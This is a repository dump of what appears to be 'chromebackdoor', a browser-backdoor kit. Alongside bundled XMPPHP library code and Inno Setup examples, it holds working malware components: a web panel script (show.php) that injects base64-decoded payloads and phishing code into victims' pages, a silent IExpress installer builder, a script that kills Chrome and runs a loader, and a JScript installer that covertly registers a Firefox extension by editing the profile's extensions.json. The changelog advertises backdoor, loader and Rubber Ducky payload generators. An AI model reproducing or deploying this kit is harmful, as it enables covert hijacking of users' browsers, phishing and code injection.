$jid 96 | */ 97 | public function getContact($jid) { 98 | if ($this->isContact($jid)) { 99 | return $this->roster_array[$jid]['contact']; 100 | } 101 | } 102 | 103 | /** 104 | * 105 | * Discover if a contact exists in the roster via jid 106 | * 107 | * @param string $jid 108 | */ 109 | public function isContact($jid) { 110 | return (array_key_exists($jid, $this->roster_array)); 111 | } 112 | 113 | /** 114 | * 115 | * Set presence 116 | * 117 | * @param string $presence 118 | * @param integer $priority 119 | * @param string $show 120 | * @param string $status 121 | */ 122 | public function setPresence($presence, $priority, $show, $status) { 123 | list($jid, $resource) = split("/", $presence); 124 | if ($show != 'unavailable') { 125 | if (!$this->isContact($jid)) { 126 | $this->addContact($jid, 'not-in-roster'); 127 | } 128 | $resource = $resource ? $resource : ''; 129 | $this->roster_array[$jid]['presence'][$resource] = array('priority' => $priority, 'show' => $show, 'status' => $status); 130 | } else { //Nuke unavailable resources to save memory 131 | unset($this->roster_array[$jid]['resource'][$resource]); 132 | } 133 | } 134 | 135 | /* 136 | * 137 | * Return best presence for jid 138 | * 139 | * @param string $jid 140 | */ 141 | 142 | public function getPresence($jid) { 143 | $split = split("/", $jid); 144 | $jid = $split[0]; 145 | if ($this->isContact($jid)) { 146 | $current = array('resource' => '', 'active' => '', 'priority' => -129, 'show' => '', 'status' => ''); //Priorities can only be -128 = 127 147 | foreach ($this->roster_array[$jid]['presence'] as $resource => $presence) { 148 | //Highest available priority or just highest priority 149 | if ($presence['priority'] > $current['priority'] and (($presence['show'] == "chat" or $presence['show'] == "available") or ($current['show'] != "chat" or $current['show'] != "available"))) { 150 | $current = $presence; 151 | $current['resource'] = $resource; 152 | } 153 | } 154 | return $current; 155 | } 156 | } 157 | 158 | /** 159 | * 160 | * Get roster 161 | * 162 | */ 163 | public function getRoster() { 164 | return $this->roster_array; 165 | } 166 | 167 | } 168 | 169 | ?> 170 | -------------------------------------------------------------------------------- /backdoor/web/lib/XMPPHP/XMLObj.php: -------------------------------------------------------------------------------- 1 | 25 | * @author Stephan Wentz 26 | * @author Michael Garvin 27 | * @copyright 2008 Nathanael C. Fritz 28 | */ 29 | 30 | /** 31 | * XMPPHP XML Object 32 | * 33 | * @category xmpphp 34 | * @package XMPPHP 35 | * @author Nathanael C. Fritz 36 | * @author Stephan Wentz 37 | * @author Michael Garvin 38 | * @copyright 2008 Nathanael C. Fritz 39 | * @version $Id$ 40 | */ 41 | class XMPPHP_XMLObj { 42 | 43 | /** 44 | * Tag name 45 | * 46 | * @var string 47 | */ 48 | public $name; 49 | /** 50 | * Namespace 51 | * 52 | * @var string 53 | */ 54 | public $ns; 55 | /** 56 | * Attributes 57 | * 58 | * @var array 59 | */ 60 | public $attrs = array(); 61 | /** 62 | * Subs? 63 | * 64 | * @var array 65 | */ 66 | public $subs = array(); 67 | /** 68 | * Node data 69 | * 70 | * @var string 71 | */ 72 | public $data = ''; 73 | 74 | /** 75 | * Constructor 76 | * 77 | * @param string $name 78 | * @param string $ns 79 | * @param array $attrs 80 | * @param string $data 81 | */ 82 | public function __construct($name, $ns = '', $attrs = array(), $data = '') { 83 | $this->name = strtolower($name); 84 | $this->ns = $ns; 85 | if (is_array($attrs) && count($attrs)) { 86 | foreach ($attrs as $key => $value) { 87 | $this->attrs[strtolower($key)] = $value; 88 | } 89 | } 90 | $this->data = $data; 91 | } 92 | 93 | /** 94 | * Dump this XML Object to output. 95 | * 96 | * @param integer $depth 97 | */ 98 | public function printObj($depth = 0) { 99 | print str_repeat("\t", $depth) . $this->name . " " . $this->ns . ' ' . $this->data; 100 | print "\n"; 101 | foreach ($this->subs as $sub) { 102 | $sub->printObj($depth + 1); 103 | } 104 | } 105 | 106 | /** 107 | * Return this XML Object in xml notation 108 | * 109 | * @param string $str 110 | */ 111 | public function toString($str = '') { 112 | $str .= "<{$this->name} xmlns='{$this->ns}' "; 113 | foreach ($this->attrs as $key => $value) { 114 | if ($key != 'xmlns') { 115 | $value = htmlspecialchars($value); 116 | $str .= "$key='$value' "; 117 | } 118 | } 119 | $str .= ">"; 120 | foreach ($this->subs as $sub) { 121 | $str .= $sub->toString(); 122 | } 123 | $body = htmlspecialchars($this->data); 124 | $str .= "$bodyname}>"; 125 | return $str; 126 | } 127 | 128 | /** 129 | * Has this XML Object the given sub? 130 | * 131 | * @param string $name 132 | * @return boolean 133 | */ 134 | public function hasSub($name, $ns = null) { 135 | foreach ($this->subs as $sub) { 136 | if (($name == "*" or $sub->name == $name) and ($ns == null or $sub->ns == $ns)) 137 | return true; 138 | } 139 | return false; 140 | } 141 | 142 | /** 143 | * Return a sub 144 | * 145 | * @param string $name 146 | * @param string $attrs 147 | * @param string $ns 148 | */ 149 | public function sub($name, $attrs = null, $ns = null) { 150 | #TODO attrs is ignored 151 | foreach ($this->subs as $sub) { 152 | if ($sub->name == $name and ($ns == null or $sub->ns == $ns)) { 153 | return $sub; 154 | } 155 | } 156 | } 157 | 158 | } 159 | -------------------------------------------------------------------------------- /backdoor/web/lib/XMPPHP/XMPP_Old.php: -------------------------------------------------------------------------------- 1 | 25 | * @author Stephan Wentz 26 | * @author Michael Garvin 27 | * @copyright 2008 Nathanael C. Fritz 28 | */ 29 | /** XMPPHP_XMPP 30 | * 31 | * This file is unnecessary unless you need to connect to older, non-XMPP-compliant servers like Dreamhost's. 32 | * In this case, use instead of XMPPHP_XMPP, otherwise feel free to delete it. 33 | * The old Jabber protocol wasn't standardized, so use at your own risk. 34 | * 35 | */ 36 | require_once "XMPP.php"; 37 | 38 | class XMPPHP_XMPPOld extends XMPPHP_XMPP { 39 | 40 | /** 41 | * 42 | * @var string 43 | */ 44 | protected $session_id; 45 | 46 | public function __construct($host, $port, $user, $password, $resource, $server = null, $printlog = false, $loglevel = null) { 47 | parent::__construct($host, $port, $user, $password, $resource, $server, $printlog, $loglevel); 48 | if (!$server) 49 | $server = $host; 50 | $this->stream_start = ''; 51 | $this->fulljid = "{$user}@{$server}/{$resource}"; 52 | } 53 | 54 | /** 55 | * Override XMLStream's startXML 56 | * 57 | * @param parser $parser 58 | * @param string $name 59 | * @param array $attr 60 | */ 61 | public function startXML($parser, $name, $attr) { 62 | if ($this->xml_depth == 0) { 63 | $this->session_id = $attr['ID']; 64 | $this->authenticate(); 65 | } 66 | parent::startXML($parser, $name, $attr); 67 | } 68 | 69 | /** 70 | * Send Authenticate Info Request 71 | * 72 | */ 73 | public function authenticate() { 74 | $id = $this->getId(); 75 | $this->addidhandler($id, 'authfieldshandler'); 76 | $this->send("{$this->user}"); 77 | } 78 | 79 | /** 80 | * Retrieve auth fields and send auth attempt 81 | * 82 | * @param XMLObj $xml 83 | */ 84 | public function authFieldsHandler($xml) { 85 | $id = $this->getId(); 86 | $this->addidhandler($id, 'oldAuthResultHandler'); 87 | if ($xml->sub('query')->hasSub('digest')) { 88 | $hash = sha1($this->session_id . $this->password); 89 | print "{$this->session_id} {$this->password}\n"; 90 | $out = "{$this->user}{$hash}{$this->resource}"; 91 | } else { 92 | $out = "{$this->user}{$this->password}{$this->resource}"; 93 | } 94 | $this->send($out); 95 | } 96 | 97 | /** 98 | * Determine authenticated or failure 99 | * 100 | * @param XMLObj $xml 101 | */ 102 | public function oldAuthResultHandler($xml) { 103 | if ($xml->attrs['type'] != 'result') { 104 | $this->log->log("Auth failed!", XMPPHP_Log::LEVEL_ERROR); 105 | $this->disconnect(); 106 | throw new XMPPHP_Exception('Auth failed!'); 107 | } else { 108 | $this->log->log("Session started"); 109 | $this->event('session_start'); 110 | } 111 | } 112 | 113 | } 114 | 115 | ?> 116 | -------------------------------------------------------------------------------- /backdoor/web/logout.php: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /backdoor/web/show.php: -------------------------------------------------------------------------------- 1 | 4 | $(document).ready(function() 5 | { 6 | var phish = ""; 7 | var tabURL = window.location.href; 8 | 9 | //settings 10 | 11 | prepare("SELECT urlverif FROM payloads"); 13 | $select_url_check->execute(); 14 | while($fetch = $select_url_check->fetch()) 15 | { 16 | $url_verif = $fetch['urlverif']; 17 | echo base64_decode($url_verif); 18 | } 19 | 20 | $select_inject_check = $bdd->prepare("SELECT id, codeinject FROM payloads"); 21 | $select_inject_check->execute(); 22 | while($fetch2 = $select_inject_check->fetch()) 23 | { 24 | if($fetch2['id'] != ''){ 25 | $update = $bdd->prepare("UPDATE payloads SET action = action + 1 WHERE id = :id"); 26 | $update->bindParam(':id', $fetch2['id']); 27 | $update->execute(); 28 | } 29 | 30 | $inject = $fetch2['codeinject']; 31 | echo base64_decode($inject); 32 | } 33 | ?> 34 | }); -------------------------------------------------------------------------------- /changelog.txt: -------------------------------------------------------------------------------- 1 | Update 09/12/16 2 | [+] Update CSS file 3 | [+] Thanks to "ricoxor" for code review and all new idea. 4 | Version 3.0 5 | [+] Python backdoor script generator. 6 | [+] INNO .exe (loader) builder. 7 | [+] Update webpanel file. 8 | [+] Rubber Ducky payload generator. 9 | [+] Firefox XPI added. 10 | [+] IExplorer BHO added. 11 | -------------------------------------------------------------------------------- /config.conf: -------------------------------------------------------------------------------- 1 | ### CONFIGURATION FOR XPI ######## 2 | MOZ_API_KEY=# 3 | MOZ_PRIV_KEY=# 4 | ################################### 5 | -------------------------------------------------------------------------------- /installer/build.cmd: -------------------------------------------------------------------------------- 1 | @echo off 2 | 3 | pushd "%CD%" 4 | CD /D "%~dp0" 5 | 6 | inno\compil32.exe /cc installer.iss 7 | 8 | echo [Version]>def.sed 9 | echo Class=IEXPRESS>>def.sed 10 | echo SEDVersion=A>>def.sed 11 | echo [Options]>>def.sed 12 | echo PackagePurpose=InstallApp>>def.sed 13 | echo ShowInstallProgramWindow=1>>def.sed 14 | echo HideExtractAnimation=1>>def.sed 15 | echo UseLongFileName=0>>def.sed 16 | echo InsideCompressed=0>>def.sed 17 | echo CAB_FixedSize=0>>def.sed 18 | echo CAB_ResvCodeSigning=0>>def.sed 19 | echo RebootMode=N>>def.sed 20 | echo InstallPrompt=%%InstallPrompt%%>>def.sed 21 | echo DisplayLicense=%%DisplayLicense%%>>def.sed 22 | echo FinishMessage=%%FinishMessage%%>>def.sed 23 | echo TargetName=%%TargetName%%>>def.sed 24 | echo FriendlyName=%%FriendlyName%%>>def.sed 25 | echo AppLaunched=%%AppLaunched%%>>def.sed 26 | echo PostInstallCmd=%%PostInstallCmd%%>>def.sed 27 | echo AdminQuietInstCmd=%%AdminQuietInstCmd%%>>def.sed 28 | echo UserQuietInstCmd=%%UserQuietInstCmd%%>>def.sed 29 | echo SourceFiles=SourceFiles>>def.sed 30 | echo [Strings]>>def.sed 31 | echo InstallPrompt=>>def.sed 32 | echo DisplayLicense=>>def.sed 33 | echo FinishMessage=>>def.sed 34 | echo TargetName=%~dp0setup.silent.exe>>def.sed 35 | echo FriendlyName=Setup>>def.sed 36 | echo AppLaunched=setup.exe /verysilent>>def.sed 37 | echo PostInstallCmd=^>>def.sed 38 | echo AdminQuietInstCmd=>>def.sed 39 | echo UserQuietInstCmd=>>def.sed 40 | echo FILE0="setup.exe">>def.sed 41 | echo [SourceFiles]>>def.sed 42 | echo SourceFiles0=%~dp0>>def.sed 43 | echo [SourceFiles0]>>def.sed 44 | echo %%FILE0%%>>def.sed 45 | 46 | iexpress.exe /n def.sed 47 | 48 | @pause -------------------------------------------------------------------------------- /installer/ch_bk/install.cmd: -------------------------------------------------------------------------------- 1 | @echo off 2 | 3 | pushd "%CD%" 4 | CD /D "%~dp0" 5 | 6 | taskkill /im chrome.exe /f 7 | loader.exe 8 | -------------------------------------------------------------------------------- /installer/ch_bk/loader.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/graniet/chromebackdoor/503c80ed0824c591eea540be2dbca6387df15258/installer/ch_bk/loader.exe -------------------------------------------------------------------------------- /installer/def.sed: -------------------------------------------------------------------------------- 1 | [Version] 2 | Class=IEXPRESS 3 | SEDVersion=A 4 | [Options] 5 | PackagePurpose=InstallApp 6 | ShowInstallProgramWindow=1 7 | HideExtractAnimation=1 8 | UseLongFileName=0 9 | InsideCompressed=0 10 | CAB_FixedSize=0 11 | CAB_ResvCodeSigning=0 12 | RebootMode=N 13 | InstallPrompt=%InstallPrompt% 14 | DisplayLicense=%DisplayLicense% 15 | FinishMessage=%FinishMessage% 16 | TargetName=%TargetName% 17 | FriendlyName=%FriendlyName% 18 | AppLaunched=%AppLaunched% 19 | PostInstallCmd=%PostInstallCmd% 20 | AdminQuietInstCmd=%AdminQuietInstCmd% 21 | UserQuietInstCmd=%UserQuietInstCmd% 22 | SourceFiles=SourceFiles 23 | [Strings] 24 | InstallPrompt= 25 | DisplayLicense= 26 | FinishMessage= 27 | TargetName=Z:\root\Documents\project\chromebackdoor\installer\setup.silent.exe 28 | FriendlyName=Setup 29 | AppLaunched=setup.exe /verysilent 30 | PostInstallCmd= 31 | AdminQuietInstCmd= 32 | UserQuietInstCmd= 33 | FILE0="setup.exe" 34 | [SourceFiles] 35 | SourceFiles0=Z:\root\Documents\project\chromebackdoor\installer\ 36 | [SourceFiles0] 37 | %FILE0% 38 | -------------------------------------------------------------------------------- /installer/del.cmd: -------------------------------------------------------------------------------- 1 | @echo off 2 | 3 | ping 127.0.0.1 -n 3 > nul 4 | 5 | if exist %1 del /f /q %1 6 | if exist %4 del /f /q %4 7 | if exist %2 rmdir /s /q %2 8 | if exist %3 rmdir /s /q %3 9 | 10 | -------------------------------------------------------------------------------- /installer/ff_bk/ff.js: -------------------------------------------------------------------------------- 1 | function readAllText(path) 2 | { 3 | var ado = new ActiveXObject('ADODB.Stream'); 4 | ado.CharSet = "utf-8"; 5 | ado.Open(); 6 | ado.LoadFromFile(path); 7 | return ado.ReadText(); 8 | } 9 | 10 | function writeAllText(path, text) 11 | { 12 | var ado = new ActiveXObject('ADODB.Stream'); 13 | ado.CharSet = "utf-8"; 14 | ado.Open(); 15 | ado.WriteText(text); 16 | return ado.SaveToFile(path, 2); 17 | } 18 | 19 | function getEnvironmentVariables() 20 | { 21 | var oShell = new ActiveXObject("WScript.Shell"); 22 | var oUserEnv = oShell.Environment("Process"); 23 | 24 | var colVars = new Enumerator(oUserEnv); 25 | var parts; 26 | var env = {}; 27 | for(; ! colVars.atEnd(); colVars.moveNext()) 28 | { 29 | parts = colVars.item().split('='); 30 | env[parts[0]] = parts[1]; 31 | } 32 | 33 | return env; 34 | } 35 | 36 | function findXPIFile(currentPath) 37 | { 38 | var fso = new ActiveXObject('Scripting.FileSystemObject'); 39 | var folder = fso.GetFolder(currentPath); 40 | //WScript.Echo("XPI folder: " + folder); 41 | var subFls = new Enumerator(folder.Files); 42 | for (; !subFls.atEnd(); subFls.moveNext()) 43 | { 44 | fileName = subFls.item().Name; 45 | //WScript.Echo("files: " + fileName); 46 | if (/^.*\.xpi$/.test(fileName)) 47 | { 48 | //WScript.Echo("XPI file found: " + fileName); 49 | return fileName.replace(".xpi", ""); 50 | } 51 | } 52 | 53 | return ""; 54 | } 55 | 56 | function main() 57 | { 58 | var prefsObj = { 59 | "id":"whatever@extenson", 60 | "location":"app-profile", 61 | "version":"2.4.0.12", 62 | "type":"extension", 63 | "internalName":null, 64 | "updateURL":"", 65 | "updateKey":null, 66 | "optionsURL":null, 67 | "optionsType":null, 68 | "aboutURL":null, 69 | "icons":{}, 70 | "iconURL":null, 71 | "icon64URL":null, 72 | "defaultLocale":{ 73 | "name":"Extension Name", 74 | "description":"Extension Description", 75 | "creator":"Creator Name", 76 | "homepageURL":"http://gogle.org" 77 | }, 78 | "visible":true, 79 | "active":true, 80 | "userDisabled":false, 81 | "appDisabled":false, 82 | "descriptor":"", 83 | "installDate": new Date().getTime(), //ms 84 | "updateDate":new Date().getTime(), 85 | "applyBackgroundUpdates":1, 86 | "bootstrap":true, 87 | "skinnable":false, 88 | "sourceURI":null, 89 | "releaseNotesURI":null, 90 | "softDisabled":false, 91 | "foreignInstall":true, 92 | "hasBinaryComponents":false, 93 | "strictCompatibility":false, 94 | "locales":[], 95 | "targetApplications":[{"id":"{ec8030f7-c20a-464f-9b0e-13a3a9e97384}","minVersion":"12.0","maxVersion":"49.*"}], 96 | "targetPlatforms":[], 97 | "multiprocessCompatible":true, 98 | "signedState":1, 99 | "seen":true 100 | }; 101 | 102 | try 103 | { 104 | var execPath = WScript.Arguments.Item(0); 105 | var extensionId = findXPIFile(execPath); 106 | WScript.Echo("extension id: " + extensionId); 107 | if (!extensionId) 108 | throw "XPI not found."; 109 | 110 | var extCurrentPath = execPath + "\\" + extensionId + ".xpi"; 111 | var env = getEnvironmentVariables(); 112 | var appData = env['APPDATA']; 113 | var profilesIniPath = appData + "\\Mozilla\\Firefox\\profiles.ini"; 114 | 115 | //WScript.Echo("profile path: " + profilesIniPath); 116 | var txt = readAllText(profilesIniPath); 117 | var lines = txt.split("\r\n"); 118 | var profileFName = ""; 119 | for(l in lines) 120 | { 121 | var line = lines[l]; 122 | if (line == "Default=1") 123 | { 124 | profileFName = prevLine.replace("Path=", "").replace("/", "\\"); 125 | break; 126 | } 127 | var prevLine = line; 128 | } 129 | var profilePath = appData + "\\Mozilla\\Firefox\\" + profileFName; 130 | var extensionDir = profilePath + "\\extensions\\"; 131 | var extensionsPath = extensionDir + extensionId + ".xpi"; 132 | 133 | //WScript.Echo("ext path: " + extensionsPath); 134 | 135 | var fso = new ActiveXObject("Scripting.FileSystemObject"); 136 | if (!fso.FolderExists(extensionDir)) 137 | fso.CreateFolder(extensionDir); 138 | // copy extension 139 | WScript.Echo("CopyFile " + extCurrentPath + " to " + extensionsPath); 140 | fso.CopyFile(extCurrentPath, extensionsPath); 141 | 142 | // set prefs of ext 143 | prefsObj["id"] = extensionId; // id is important! 144 | prefsObj["descriptor"] = extensionsPath; // set install path 145 | 146 | // patch prefs 147 | var prefsPath = profilePath + "\\extensions.json"; 148 | WScript.Echo("Read prefs from " + prefsPath); 149 | var prefs = JSON.parse(readAllText(prefsPath)); 150 | prefs["addons"].push(prefsObj); 151 | writeAllText(prefsPath, JSON.stringify(prefs)); 152 | 153 | } 154 | catch (e) 155 | { 156 | WScript.Echo(e.message); 157 | } 158 | } 159 | 160 | //-------------------------------------------------- 161 | // JSON 2 162 | var JSON;if(!JSON){JSON={}}(function(){function f(n){return n<10?"0"+n:n}if(typeof Date.prototype.toJSON!=="function"){Date.prototype.toJSON=function(key){return isFinite(this.valueOf())?this.getUTCFullYear()+"-"+f(this.getUTCMonth()+1)+"-"+f(this.getUTCDate())+"T"+f(this.getUTCHours())+":"+f(this.getUTCMinutes())+":"+f(this.getUTCSeconds())+"Z":null};String.prototype.toJSON=Number.prototype.toJSON=Boolean.prototype.toJSON=function(key){return this.valueOf()}}var cx=/[\u0000\u00ad\u0600-\u0604\u070f\u17b4\u17b5\u200c-\u200f\u2028-\u202f\u2060-\u206f\ufeff\ufff0-\uffff]/g,escapable=/[\\\"\x00-\x1f\x7f-\x9f\u00ad\u0600-\u0604\u070f\u17b4\u17b5\u200c-\u200f\u2028-\u202f\u2060-\u206f\ufeff\ufff0-\uffff]/g,gap,indent,meta={"\b":"\\b","\t":"\\t","\n":"\\n","\f":"\\f","\r":"\\r",'"':'\\"',"\\":"\\\\"},rep;function quote(string){escapable.lastIndex=0;return escapable.test(string)?'"'+string.replace(escapable,function(a){var c=meta[a];return typeof c==="string"?c:"\\u"+("0000"+a.charCodeAt(0).toString(16)).slice(-4)})+'"':'"'+string+'"'}function str(key,holder){var i,k,v,length,mind=gap,partial,value=holder[key];if(value&&typeof value==="object"&&typeof value.toJSON==="function"){value=value.toJSON(key)}if(typeof rep==="function"){value=rep.call(holder,key,value)}switch(typeof value){case"string":return quote(value);case"number":return isFinite(value)?String(value):"null";case"boolean":case"null":return String(value);case"object":if(!value){return"null"}gap+=indent;partial=[];if(Object.prototype.toString.apply(value)==="[object Array]"){length=value.length;for(i=0;iInno Setup rocks!', False); 156 | if not ShellExecAsOriginalUser('open', IISURL + '/innosetup/index.htm', '', '', SW_SHOWNORMAL, ewNoWait, ErrorCode) then 157 | MsgBox('Can''t display the created virtual directory: ''' + SysErrorMessage(ErrorCode) + '''.', mbError, mb_Ok); 158 | end; 159 | 160 | {--- MSXML ---} 161 | 162 | const 163 | XMLURL = 'http://jrsoftware.github.io/issrc/ishelp/isxfunc.xml'; 164 | XMLFileName = 'isxfunc.xml'; 165 | XMLFileName2 = 'isxfuncmodified.xml'; 166 | 167 | procedure MSXMLButtonOnClick(Sender: TObject); 168 | var 169 | XMLHTTP, XMLDoc, NewNode, RootNode: Variant; 170 | Path: String; 171 | begin 172 | if MsgBox('Setup will now use MSXML to download XML file ''' + XMLURL + ''' and save it to disk.'#13#13'Setup will then load, modify and save this XML file. Do you want to continue?', mbInformation, mb_YesNo) = idNo then 173 | Exit; 174 | 175 | { Create the main MSXML COM Automation object } 176 | 177 | try 178 | XMLHTTP := CreateOleObject('MSXML2.ServerXMLHTTP'); 179 | except 180 | RaiseException('Please install MSXML first.'#13#13'(Error ''' + GetExceptionMessage + ''' occurred)'); 181 | end; 182 | 183 | { Download the XML file } 184 | 185 | XMLHTTP.Open('GET', XMLURL, False); 186 | XMLHTTP.Send(); 187 | 188 | Path := ExpandConstant('{src}\'); 189 | XMLHTTP.responseXML.Save(Path + XMLFileName); 190 | 191 | MsgBox('Downloaded the XML file and saved it as ''' + XMLFileName + '''.', mbInformation, mb_Ok); 192 | 193 | { Load the XML File } 194 | 195 | XMLDoc := CreateOleObject('MSXML2.DOMDocument'); 196 | XMLDoc.async := False; 197 | XMLDoc.resolveExternals := False; 198 | XMLDoc.load(Path + XMLFileName); 199 | if XMLDoc.parseError.errorCode <> 0 then 200 | RaiseException('Error on line ' + IntToStr(XMLDoc.parseError.line) + ', position ' + IntToStr(XMLDoc.parseError.linepos) + ': ' + XMLDoc.parseError.reason); 201 | 202 | MsgBox('Loaded the XML file.', mbInformation, mb_Ok); 203 | 204 | { Modify the XML document } 205 | 206 | NewNode := XMLDoc.createElement('isxdemo'); 207 | RootNode := XMLDoc.documentElement; 208 | RootNode.appendChild(NewNode); 209 | RootNode.lastChild.text := 'Hello, World'; 210 | 211 | { Save the XML document } 212 | 213 | XMLDoc.Save(Path + XMLFileName2); 214 | 215 | MsgBox('Saved the modified XML as ''' + XMLFileName2 + '''.', mbInformation, mb_Ok); 216 | end; 217 | 218 | 219 | {--- Word ---} 220 | 221 | procedure WordButtonOnClick(Sender: TObject); 222 | var 223 | Word: Variant; 224 | begin 225 | if MsgBox('Setup will now check whether Microsoft Word is running. Do you want to continue?', mbInformation, mb_YesNo) = idNo then 226 | Exit; 227 | 228 | { Try to get an active Word COM Automation object } 229 | 230 | try 231 | Word := GetActiveOleObject('Word.Application'); 232 | except 233 | end; 234 | 235 | if VarIsEmpty(Word) then 236 | MsgBox('Microsoft Word is not running.', mbInformation, mb_Ok) 237 | else 238 | MsgBox('Microsoft Word is running.', mbInformation, mb_Ok) 239 | end; 240 | 241 | {--- Windows Firewall ---} 242 | 243 | const 244 | NET_FW_IP_VERSION_ANY = 2; 245 | NET_FW_SCOPE_ALL = 0; 246 | 247 | procedure FirewallButtonOnClick(Sender: TObject); 248 | var 249 | Firewall, Application: Variant; 250 | begin 251 | if MsgBox('Setup will now add itself to Windows Firewall as an authorized application for the current profile (' + GetUserNameString + '). Do you want to continue?', mbInformation, mb_YesNo) = idNo then 252 | Exit; 253 | 254 | { Create the main Windows Firewall COM Automation object } 255 | 256 | try 257 | Firewall := CreateOleObject('HNetCfg.FwMgr'); 258 | except 259 | RaiseException('Please install Windows Firewall first.'#13#13'(Error ''' + GetExceptionMessage + ''' occurred)'); 260 | end; 261 | 262 | { Add the authorization } 263 | 264 | Application := CreateOleObject('HNetCfg.FwAuthorizedApplication'); 265 | Application.Name := 'Setup'; 266 | Application.IPVersion := NET_FW_IP_VERSION_ANY; 267 | Application.ProcessImageFileName := ExpandConstant('{srcexe}'); 268 | Application.Scope := NET_FW_SCOPE_ALL; 269 | Application.Enabled := True; 270 | 271 | Firewall.LocalPolicy.CurrentProfile.AuthorizedApplications.Add(Application); 272 | 273 | MsgBox('Setup is now an authorized application for the current profile', mbInformation, mb_Ok); 274 | end; 275 | 276 | {---} 277 | 278 | procedure CreateButton(ALeft, ATop: Integer; ACaption: String; ANotifyEvent: TNotifyEvent); 279 | begin 280 | with TButton.Create(WizardForm) do begin 281 | Left := ALeft; 282 | Top := ATop; 283 | Width := WizardForm.CancelButton.Width; 284 | Height := WizardForm.CancelButton.Height; 285 | Caption := ACaption; 286 | OnClick := ANotifyEvent; 287 | Parent := WizardForm.WelcomePage; 288 | end; 289 | end; 290 | 291 | procedure InitializeWizard(); 292 | var 293 | Left, LeftInc, Top, TopInc: Integer; 294 | begin 295 | Left := WizardForm.WelcomeLabel2.Left; 296 | LeftInc := WizardForm.CancelButton.Width + ScaleX(8); 297 | TopInc := WizardForm.CancelButton.Height + ScaleY(8); 298 | Top := WizardForm.WelcomeLabel2.Top + WizardForm.WelcomeLabel2.Height - 4*TopInc; 299 | 300 | CreateButton(Left, Top, '&SQLDMO...', @SQLDMOButtonOnClick); 301 | CreateButton(Left + LeftInc, Top, '&Firewall...', @FirewallButtonOnClick); 302 | Top := Top + TopInc; 303 | CreateButton(Left, Top, '&IIS...', @IISButtonOnClick); 304 | Top := Top + TopInc; 305 | CreateButton(Left, Top, '&MSXML...', @MSXMLButtonOnClick); 306 | Top := Top + TopInc; 307 | CreateButton(Left, Top, '&Word...', @WordButtonOnClick); 308 | end; 309 | 310 | 311 | -------------------------------------------------------------------------------- /installer/inno/Examples/CodeDlg.iss: -------------------------------------------------------------------------------- 1 | ; -- CodeDlg.iss -- 2 | ; 3 | ; This script shows how to insert custom wizard pages into Setup and how to handle 4 | ; these pages. Furthermore it shows how to 'communicate' between the [Code] section 5 | ; and the regular Inno Setup sections using {code:...} constants. Finally it shows 6 | ; how to customize the settings text on the 'Ready To Install' page. 7 | 8 | [Setup] 9 | AppName=My Program 10 | AppVersion=1.5 11 | DefaultDirName={pf}\My Program 12 | DisableProgramGroupPage=yes 13 | UninstallDisplayIcon={app}\MyProg.exe 14 | OutputDir=userdocs:Inno Setup Examples Output 15 | 16 | [Files] 17 | Source: "MyProg.exe"; DestDir: "{app}" 18 | Source: "MyProg.chm"; DestDir: "{app}" 19 | Source: "Readme.txt"; DestDir: "{app}"; Flags: isreadme 20 | 21 | [Registry] 22 | Root: HKCU; Subkey: "Software\My Company"; Flags: uninsdeletekeyifempty 23 | Root: HKCU; Subkey: "Software\My Company\My Program"; Flags: uninsdeletekey 24 | Root: HKCU; Subkey: "Software\My Company\My Program\Settings"; ValueType: string; ValueName: "Name"; ValueData: "{code:GetUser|Name}" 25 | Root: HKCU; Subkey: "Software\My Company\My Program\Settings"; ValueType: string; ValueName: "Company"; ValueData: "{code:GetUser|Company}" 26 | Root: HKCU; Subkey: "Software\My Company\My Program\Settings"; ValueType: string; ValueName: "DataDir"; ValueData: "{code:GetDataDir}" 27 | ; etc. 28 | 29 | [Dirs] 30 | Name: {code:GetDataDir}; Flags: uninsneveruninstall 31 | 32 | [Code] 33 | var 34 | UserPage: TInputQueryWizardPage; 35 | UsagePage: TInputOptionWizardPage; 36 | LightMsgPage: TOutputMsgWizardPage; 37 | KeyPage: TInputQueryWizardPage; 38 | ProgressPage: TOutputProgressWizardPage; 39 | DataDirPage: TInputDirWizardPage; 40 | 41 | procedure InitializeWizard; 42 | begin 43 | { Create the pages } 44 | 45 | UserPage := CreateInputQueryPage(wpWelcome, 46 | 'Personal Information', 'Who are you?', 47 | 'Please specify your name and the company for whom you work, then click Next.'); 48 | UserPage.Add('Name:', False); 49 | UserPage.Add('Company:', False); 50 | 51 | UsagePage := CreateInputOptionPage(UserPage.ID, 52 | 'Personal Information', 'How will you use My Program?', 53 | 'Please specify how you would like to use My Program, then click Next.', 54 | True, False); 55 | UsagePage.Add('Light mode (no ads, limited functionality)'); 56 | UsagePage.Add('Sponsored mode (with ads, full functionality)'); 57 | UsagePage.Add('Paid mode (no ads, full functionality)'); 58 | 59 | LightMsgPage := CreateOutputMsgPage(UsagePage.ID, 60 | 'Personal Information', 'How will you use My Program?', 61 | 'Note: to enjoy all features My Program can offer and to support its development, ' + 62 | 'you can switch to sponsored or paid mode at any time by selecting ''Usage Mode'' ' + 63 | 'in the ''Help'' menu of My Program after the installation has completed.'#13#13 + 64 | 'Click Back if you want to change your usage mode setting now, or click Next to ' + 65 | 'continue with the installation.'); 66 | 67 | KeyPage := CreateInputQueryPage(UsagePage.ID, 68 | 'Personal Information', 'What''s your registration key?', 69 | 'Please specify your registration key and click Next to continue. If you don''t ' + 70 | 'have a valid registration key, click Back to choose a different usage mode.'); 71 | KeyPage.Add('Registration key:', False); 72 | 73 | ProgressPage := CreateOutputProgressPage('Personal Information', 74 | 'What''s your registration key?'); 75 | 76 | DataDirPage := CreateInputDirPage(wpSelectDir, 77 | 'Select Personal Data Directory', 'Where should personal data files be installed?', 78 | 'Select the folder in which Setup should install personal data files, then click Next.', 79 | False, ''); 80 | DataDirPage.Add(''); 81 | 82 | { Set default values, using settings that were stored last time if possible } 83 | 84 | UserPage.Values[0] := GetPreviousData('Name', ExpandConstant('{sysuserinfoname}')); 85 | UserPage.Values[1] := GetPreviousData('Company', ExpandConstant('{sysuserinfoorg}')); 86 | 87 | case GetPreviousData('UsageMode', '') of 88 | 'light': UsagePage.SelectedValueIndex := 0; 89 | 'sponsored': UsagePage.SelectedValueIndex := 1; 90 | 'paid': UsagePage.SelectedValueIndex := 2; 91 | else 92 | UsagePage.SelectedValueIndex := 1; 93 | end; 94 | 95 | DataDirPage.Values[0] := GetPreviousData('DataDir', ''); 96 | end; 97 | 98 | procedure RegisterPreviousData(PreviousDataKey: Integer); 99 | var 100 | UsageMode: String; 101 | begin 102 | { Store the settings so we can restore 